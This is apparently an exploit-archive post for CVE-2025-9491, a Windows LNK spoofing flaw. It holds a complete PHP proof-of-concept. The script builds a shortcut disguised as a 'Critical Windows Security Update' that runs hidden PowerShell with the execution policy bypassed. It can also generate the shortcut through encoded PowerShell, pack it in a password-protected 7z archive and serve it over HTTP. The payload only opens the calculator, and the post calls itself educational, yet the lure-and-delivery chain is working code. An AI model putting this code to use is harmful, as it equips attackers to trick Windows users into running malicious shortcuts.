=============================================================================================================================================
| # Title     : Windows LNK File UI Misrepresentation Vulnerability Leading to Remote Code Execution                                        |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
| # Vendor    : System built‑in component. No standalone download available                                                                 |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/212542/ & CVE-2025-9491

[+] Summary    : This PHP script is a Proof-of-Concept (PoC) tool that demonstrates how to:

Create a Windows LNK (shortcut) file that executes a PowerShell command (in this example, launches calc.exe).

Package the LNK file into a 7-Zip archive, optionally with a password.

Host the archive on a simple HTTP server using PHP’s built-in server.

Provide a PowerShell command that can download the archive from the HTTP server.

It is meant for educational and defensive testing, not exploitation. It does not contain a real vulnerability — it simply shows the technique of using LNK + PowerShell delivery.

[+] Key technical points:

Uses Windows COM to create the LNK file.

Falls back to PowerShell if COM fails.

Optionally compresses with 7-Zip.

Starts HTTP server to serve the payload.

Designed to be run from the CLI on Windows.

POC : php poc.php

<?php

class WindowsLNKExploit {
    
    private $scriptDir;
    private $localIP;
    
    public function __construct() {
        $this->scriptDir = $this->getScriptDirectory();
        $this->localIP = $this->getLocalIP();
    }
    
    private function getScriptDirectory() {
        return dirname(__FILE__);
    }
    
    private function getLocalIP() {
        $ip = gethostbyname(gethostname());
        
        // محاولة الحصول على IP حقيقي
        $sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
        socket_connect($sock, "8.8.8.8", 53);
        socket_getsockname($sock, $ip);
        socket_close($sock);
        
        return $ip;
    }
    
    public function createMaliciousLNK() {
        $lnkPath = $this->scriptDir . '\\Critical_Update.lnk';
        
        echo "[*] Creating malicious LNK file...\n";
        
        try {
            // في PHP على Windows، يمكن استخدام COM
            $shell = new COM('WScript.Shell');
            $shortcut = $shell->CreateShortcut($lnkPath);
            
            $shortcut->TargetPath = 'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe';
            $shortcut->Arguments = '-NoProfile -ExecutionPolicy Bypass -Command "Start-Process calc.exe; echo Windows Update Completed"';
            $shortcut->WorkingDirectory = 'C:\\Windows\\System32';
            $shortcut->Description = 'Critical Windows Security Update - KB5029244';
            
            // محاولة تعيين أيقونة
            $iconPaths = [
                'C:\\Windows\\System32\\shell32.dll',
                'C:\\Windows\\System32\\imageres.dll',
            ];
            
            foreach ($iconPaths as $iconPath) {
                if (file_exists($iconPath)) {
                    $shortcut->IconLocation = $iconPath . ',78';
                    break;
                }
            }
            
            $shortcut->WindowStyle = 7; // SW_SHOWMINNOACTIVE
            $shortcut->Save();
            
            if (file_exists($lnkPath)) {
                echo "[+] LNK created: $lnkPath\n";
                return $lnkPath;
            } else {
                return null;
            }
            
        } catch (Exception $e) {
            echo "[-] Error: " . $e->getMessage() . "\n";
            
            // طريقة بديلة باستخدام PowerShell
            return $this->createLNKWithPowerShell();
        }
    }
    
    private function createLNKWithPowerShell() {
        $lnkPath = $this->scriptDir . '\\Critical_Update.lnk';
        
        $psScript = "
        \$WshShell = New-Object -ComObject WScript.Shell
        \$Shortcut = \$WshShell.CreateShortcut('$lnkPath')
        \$Shortcut.TargetPath = 'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'
        \$Shortcut.Arguments = '-NoProfile -ExecutionPolicy Bypass -Command \"Start-Process calc.exe; echo Windows Update Completed\"'
        \$Shortcut.WorkingDirectory = 'C:\\Windows\\System32'
        \$Shortcut.Description = 'Critical Windows Security Update - KB5029244'
        \$Shortcut.IconLocation = 'C:\\Windows\\System32\\shell32.dll,78'
        \$Shortcut.WindowStyle = 7
        \$Shortcut.Save()
        ";
        
        $psScript = base64_encode(iconv('UTF-8', 'UTF-16LE', $psScript));
        $command = "powershell -ExecutionPolicy Bypass -EncodedCommand $psScript";
        
        exec($command, $output, $returnCode);
        
        if (file_exists($lnkPath)) {
            echo "[+] LNK created via PowerShell: $lnkPath\n";
            return $lnkPath;
        }
        
        return null;
    }
    
    public function compressWith7Zip($lnkPath, $password = null) {
        if (!$lnkPath || !file_exists($lnkPath)) {
            echo "[-] LNK file not found\n";
            return null;
        }
        
        // البحث عن 7-Zip
        $sevenZipPaths = [
            'C:\\Program Files\\7-Zip\\7z.exe',
            'C:\\Program Files (x86)\\7-Zip\\7z.exe',
            '7z.exe',
        ];
        
        $sevenZip = null;
        foreach ($sevenZipPaths as $path) {
            if (file_exists($path)) {
                $sevenZip = $path;
                break;
            }
        }
        
        if (!$sevenZip) {
            // البحث في PATH
            exec('where 7z', $output, $returnCode);
            if ($returnCode === 0) {
                $sevenZip = '7z';
            } else {
                echo "[-] 7-Zip not found\n";
                return null;
            }
        }
        
        $archiveName = $this->scriptDir . '\\update.7z';
        
        // بناء الأمر
        $cmd = escapeshellarg($sevenZip) . " a " . escapeshellarg($archiveName) . " " . escapeshellarg($lnkPath);
        
        if ($password) {
            $cmd .= " -p" . escapeshellarg($password);
        }
        
        $cmd .= " -mx9 -mhe=on -t7z";
        
        echo "[*] Compressing with 7-Zip...\n";
        
        exec($cmd, $output, $returnCode);
        
        if ($returnCode === 0 && file_exists($archiveName)) {
            echo "[+] Archive created: $archiveName\n";
            if ($password) {
                echo "[+] Password: $password\n";
            }
            return $archiveName;
        } else {
            echo "[-] Compression failed\n";
            return null;
        }
    }
    
    public function startHTTPServer($port = 8080) {
        echo "[+] Starting PHP built-in server on http://{$this->localIP}:$port\n";
        echo "[+] Download URL: http://{$this->localIP}:$port/update.7z\n";
        echo "[+] Server running... Press Ctrl+C to stop\n";
        
        $publicDir = $this->scriptDir;
        
        // إنشاء ملف router بسيط
        $routerScript = $publicDir . '\\router.php';
        $routerContent = '<?php
$request = $_SERVER["REQUEST_URI"];
if ($request === "/" || $request === "/update.7z") {
    $file = __DIR__ . "\\update.7z";
    if (file_exists($file)) {
        header("Content-Type: application/x-7z-compressed");
        header("Content-Disposition: attachment; filename=\\"update.7z\\"");
        header("Content-Length: " . filesize($file));
        readfile($file);
        echo "[+] CVE-2025-9491: Malicious LNK served to " . $_SERVER["REMOTE_ADDR"] . "\\n";
        exit;
    }
}
http_response_code(404);
echo "404 Not Found";
?>';
        
        file_put_contents($routerScript, $routerContent);
        
        // تشغيل الخادم
        $command = "php -S {$this->localIP}:$port -t " . escapeshellarg($publicDir) . " " . escapeshellarg($routerScript);
        
        echo "Command: $command\n";
        echo "You need to run this command manually in another terminal:\n";
        echo $command . "\n\n";
        
        // بدلاً من ذلك، يمكن استخدام exec() مع nohup على Unix-like systems
        // على Windows، يمكن استخدام start
        if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
            $cmdFile = $publicDir . '\\start_server.bat';
            $batchContent = "@echo off\nstart /B $command\n";
            file_put_contents($cmdFile, $batchContent);
            echo "[+] Created batch file: $cmdFile\n";
            echo "[+] Run it in a new terminal window\n";
        }
    }
    
    public function main() {
        echo str_repeat("=", 60) . "\n";
        echo "CVE-2025-9491 LNK Exploit + 7-Zip + HTTP Server (PHP Version)\n";
        echo str_repeat("=", 60) . "\n";
        
        // التحقق من نظام التشغيل
        if (strtoupper(substr(PHP_OS, 0, 3)) !== 'WIN') {
            echo "[-] This script requires Windows OS\n";
            return;
        }
        
        // إنشاء ملف LNK
        $lnkFile = $this->createMaliciousLNK();
        if (!$lnkFile) {
            echo "[-] Failed to create LNK\n";
            return;
        }
        
        // ضغط مع 7-Zip
        echo "\n[*] Compress with 7-Zip? (y/n): ";
        $compress = trim(strtolower(fgets(STDIN)));
        
        if ($compress === 'y') {
            echo "[*] Password (optional): ";
            $password = trim(fgets(STDIN));
            if (empty($password)) {
                $password = null;
            }
            
            $archive = $this->compressWith7Zip($lnkFile, $password);
            
            if ($archive) {
                echo "\n[+] Archive ready: $archive\n";
                
                // بدء خادم HTTP
                echo "\n[*] Start HTTP server? (y/n): ";
                $startServer = trim(strtolower(fgets(STDIN)));
                
                if ($startServer === 'y') {
                    $this->startHTTPServer();
                }
                
                echo "\n[+] PowerShell download command:\n";
                echo "    iwr http://{$this->localIP}:8080/update.7z -OutFile update.7z\n";
                
                // الانتظار للإدخال
                echo "\n[*] Press Enter to exit...";
                fgets(STDIN);
                
            } else {
                echo "[-] Compression failed\n";
                echo "[*] Use raw LNK: $lnkFile\n";
            }
        } else {
            echo "\n[*] Raw LNK file: $lnkFile\n";
        }
    }
    
    public function generatePowerShellDownloadCommand() {
        return "iwr http://{$this->localIP}:8080/update.7z -OutFile update.7z";
    }
}

// التنظيف التلقائي
register_shutdown_function(function() {
    // يمكن إضافة تنظيف الملفات المؤقتة هنا
});

// التنفيذ
if (PHP_SAPI === 'cli') {
    $exploit = new WindowsLNKExploit();
    $exploit->main();
} else {
    echo "This script must be run from command line (CLI)\n";
    echo "Usage: php " . basename(__FILE__) . "\n";
}

// وظائف مساعدة إضافية
class HelperFunctions {
    
    public static function checkRequirements() {
        $checks = [
            'PHP Version' => version_compare(PHP_VERSION, '7.0.0', '>='),
            'Windows OS' => (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'),
            'COM Support' => extension_loaded('com_dotnet'),
            'Exec Function' => function_exists('exec'),
        ];
        
        return $checks;
    }
    
    public static function showBanner() {
        $banner = "
        ╔═══════════════════════════════════════════════════════════╗
        ║   CVE-2025-9491 PoC                                       ║
        ║   Author: indoushka                                       ║
        ╚═══════════════════════════════════════════════════════════╝
        ";
        echo $banner . "\n";
    }
}

// بديل لاستخدام threading في PHP
class BackgroundProcess {
    
    public static function runInBackground($command) {
        if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
            pclose(popen("start /B " . $command, "r"));
        } else {
            exec($command . " > /dev/null 2>&1 &");
        }
    }
}
?>

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================